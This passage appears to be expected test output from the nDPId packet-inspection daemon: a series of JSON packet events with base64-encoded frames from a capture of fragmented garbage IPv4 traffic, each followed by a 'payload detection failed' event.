+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700716,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700728,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700740,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700752,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700765,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700776,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700788,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700800,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700813,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700825,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700852,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700864,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700876,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700887,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700899,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700911,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700923,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700938,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700949,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700961,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700972,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701017,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701025,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701033,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701040,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701047,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701055,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701062,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701069,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701081,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701093,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701104,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701119,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701132,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701144,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701157,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701169,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701209,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701242,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701250,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701257,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":701264,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection 